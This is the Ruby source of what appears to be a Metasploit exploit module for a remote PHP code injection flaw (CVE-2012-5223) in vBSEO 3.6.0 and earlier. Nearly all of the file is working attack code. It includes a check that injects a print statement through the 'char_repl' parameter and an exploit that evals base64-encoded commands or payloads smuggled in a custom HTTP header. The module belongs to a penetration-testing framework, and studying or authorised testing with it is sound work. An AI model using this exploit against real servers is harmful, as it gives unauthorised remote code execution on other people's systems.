92 lines
2.7 KiB
Ruby
92 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'vBSEO proc_deutf() Remote PHP Code Injection',
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'Description' => %q{
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This module exploits a vulnerability in the 'proc_deutf()' function
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defined in /includes/functions_vbseocp_abstract.php for vBSEO versions
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3.6.0 and earlier. User input passed through 'char_repl' POST parameter
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isn't properly sanitized before being used in a call to preg_replace()
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function which uses the 'e' modifier. This can be exploited to inject
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and execute arbitrary code leveraging the PHP's complex curly syntax.
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},
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'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2012-5223'],
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['OSVDB', '78508'],
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['BID', '51647'],
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['EDB', '18424']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 8190,
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'Keys' => ['php'],
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Jan 23 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
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OptString.new('CMD', [false, "Command to execute"])
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])
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end
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def check
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flag = rand_text_alpha(rand(10)+10)
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data = "char_repl='{${print(#{flag})}}'=>"
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uri = normalize_uri(datastore['URI'], 'vbseocp.php')
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response = send_request_cgi({
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'method' => "POST",
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'uri' => uri,
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'data' => data
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})
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if response.code == 200 and response.body =~ /#{flag}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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if datastore['CMD']
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p = "passthru(\"%s\");" % datastore['CMD']
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p = Rex::Text.encode_base64(p)
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else
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p = Rex::Text.encode_base64(payload.encoded)
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end
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data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"
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uri = normalize_uri(datastore['URI'], 'vbseocp.php')
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response = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'data' => data,
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'headers' => { 'Code' => p }
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})
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vprint_status("Server replied with #{response ? response.code : "nothing"}")
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end
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end
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